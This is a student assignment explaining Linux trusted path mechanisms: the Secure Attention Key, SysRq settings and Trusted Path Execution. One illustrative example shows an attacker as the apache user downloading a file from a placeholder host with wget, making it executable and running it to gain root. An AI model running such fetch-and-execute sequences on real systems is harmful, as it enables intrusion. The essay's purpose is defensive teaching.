# Trusted Path in Linux

Author: David Vierheilig

**Software Security 1st Assignment**

Trusted path is used to prevent unauthorized programs/users from reading data from the system. A famous example is a fake login program. The program looks like the login screen and the user inserts the password, because the user doesn't know that the program is a fake program and wants to steal his password. The fake program can use the user passwords for later use. In order to solve this problem there is a trusted path. It makes sure that attackers/programs can't get information. For my homework assignment, I have selected Linux. On the following pages, I want to describe how Secure Attention Key and Trusted Path Execution in Linux work.

## Secure Attention Key (SAK)

Since 2000, there has been support in Linux for a secure attention key, which is a sequence you may press to get into a trusted path. When this event is activated, the kernel starts the trusted login processing. The Secure Attention Key makes login spoofing impossible, as the kernel will suspend any program, before starting a trustable login operation. This means the X-Server will also be killed and restarted. The keys you have to press in order to start the Secure Attention Key are "Alt+PrtScr+K" or "ctrl+alt+pause". Sadly the commands are not supported by all Linux distributions. For example on Linuxmint, I had to press the button "ctrl+alt+backspache". In Windows, you can compare a Secure Attention Key with "ctrl+alt+del". Pushing button "K" means stopping all processes on the current terminal to be sure that the login prompt is from Init and not from a Trojan. You have to make sure that the magic SysRq key is enabled.

To make SAK work, the kernel needs to be compiled with SysRq support. SysRq means System Request, it is a key combination understood by the Linux kernel, which allows the user to perform various low-level commands regardless of the system's state. It is often used to recover from freezes, or to reboot a computer without corrupting the filesystem or to execute the Secure Attention Key.
You can check that with the followings steps:
1. Go into the terminal

2. Use the command 'cat /proc/sys/kernel/sysrq', If you see a “1”, the SysRq is enabled. If you see a"0", the SysRq is disabled.

3. Write the following command into the terminal 'echo “1” > /proc/sys/kernel/sysrq', you need authority for that. Now it is enabled.

After you will have pressed the Secure Attention Key, two things can happen:

1. You can get a secure path, if a new log screen displays or

2. the login screen was a fake (unauthorized program) that wanted to steal your password. In this case the trusted shell prompt will be displayed.

The SAK is implemented into the kernel and will always answer -
and it’s not possible for other programs to interrupt it.

You should always trigger SAK before you log into a system and before running su, passwd, newgrp or something like that to be sure you have a trusted path and that no program is listening.

## Trusted Path Execution (TPE)

The problems that malicious executables can cause, are varied but for the most part the biggest issue is malicious code being placed on the system either intentionally or accidentally. There are several scenarios that may influence the system in a negative / malicious way.

To protect the system, there is the Trusted Path Execution. This service prevents any unauthorized user from executing programs. The Trusted Path Execution has to be installed. It is not installed in Linux by default. Modules, which can be used, are called Grsecurity or PaX. These modules patch the Linux kernel and by using this "software", you are almost not vulnerable.

I have two examples, in the first one, TPE is not used. In the second one TPE is used. In the first example Hacker can get entry into your system.

Example one:

```
$ id
uid=48(apache) gid=48(apache) groups=48(apache)
$ wget -q http://example.com/exploit
$ chmod 755 exploit
$ ./exploit
Y0v h4ck3d t3h $y$t3m!!!
# whoami
root
```

Example two:

```
$ ./exploit
bash: ./exploit: Permission denied
```

In the example you can see that you are vulnerable without TPE, but with TPE the hacker can’t get access to your system.

The Trusted Path Execution prevents that malicious software can be executed. The Trusted Path Execution makes sure that the user is trusted or the path is trusted. For example trusted paths are /bin or /usr/bin or other parent paths, on which root the owner is, trusted users are "root" or users which were added to the "trusted user" list. The administrator can add a user to this list. One of them has to be trusted, then you can get access. If both are not trusted, there will be an error. An -EACCES error will be returned, this means that you don't have entitlement. Another method is that all non root-users have a limited access. This means that a user or the program of a specific user can´t execute or modify a file which belongs to another user.

| User\Path | Trusted | Not trusted |
|---|---|---|
| Trusted | Execution Allowed | Execution Allowed |
| Not trusted | Execution Allowed | Execution not allowed |

References:

Secure Attention Key:
https://www.kernel.org/doc/Documentation/SAK.txt

http://wiki.ubuntuusers.de/Magic_SysRQ

http://www-01.ibm.com/support/knowledgecenter/ssw_aix_71/com.ibm.aix.security/tcb_configuring_additional_using_sak.htm

http://users.sosdg.org/~qiyong/lxr/diff/Documentation/SAK.txt?a=ia64;diffval=um;diffvar=a

http://www-01.ibm.com/support/knowledgecenter/ssw_aix_71/com.ibm.aix.security/trusted_path_shell_sak.htm

http://www.tldp.org/HOWTO/Secure-Programs-HOWTO/trusted-path.html

Trusted Path Execution:

http://www.insanitybit.com/2012/06/26/trusted-path-execution-and-antiexecutables-10/

http://cormander.com/2011/05/trusted-path-execution-tpe-linux-kernel-module/

http://phrack.org/issues/53/8.html